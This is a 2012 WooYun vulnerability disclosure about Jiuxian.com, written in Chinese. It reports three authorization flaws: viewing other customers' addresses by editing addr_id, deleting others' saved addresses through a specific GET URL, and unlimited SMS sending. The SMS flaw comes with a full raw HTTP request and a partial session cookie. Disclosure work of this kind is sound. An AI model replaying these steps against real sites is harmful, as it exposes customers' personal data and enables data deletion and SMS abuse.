当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-012054

漏洞标题：酒仙网可随意操作他人信息

相关厂商：酒仙网

漏洞作者： popok

提交时间：2012-09-11 22:13

修复时间：2012-10-26 22:13

公开时间：2012-10-26 22:13

漏洞类型：未授权访问/权限绕过

危害等级：低

自评Rank：5

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-09-11： 积极联系厂商并且等待厂商认领中，细节不对外公开
2012-10-26： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

看详细说明

详细说明：

1、获取任意人的收货地址
随便下一个订单，选择地址时F12审核元素：


修改其中的addr_id，然后提交订单，接着去我的订单里就能看到对应的ID的具体地址


随便试了一个就是公务员，真好啊
2、越权删除他人地址
类似问题1，删除地址get　http://m.jiuxian.com/address/remove/279129　修改其中的id即可删除别人保存的地址
3、短信无限发送

POST /topic_wz.php?act=sendCode&mobile=180******** HTTP/1.1
Host: www.jiuxian.com
Connection: keep-alive
Content-Length: 0
Origin: http://www.jiuxian.com
X-Requested-With: XMLHttpRequest
User-Agent: SB牌浏览器
Accept: application/json, text/javascript, */*; q=0.01
Referer: http://www.jiuxian.com/topic/3znq/hyzc/index.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: ECS_ID=8e14107cf45a3e6071c14ef6e62372c947d2f1d7; ******************


漏洞证明：

详细说明里有了，随便看了下，暂时找到这几个，应该还有不少问题。
客户信息要注意保管，那些做酒类营销的可喜欢这种客户地址了

修复方案：

版权声明：转载请注明来源 popok@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝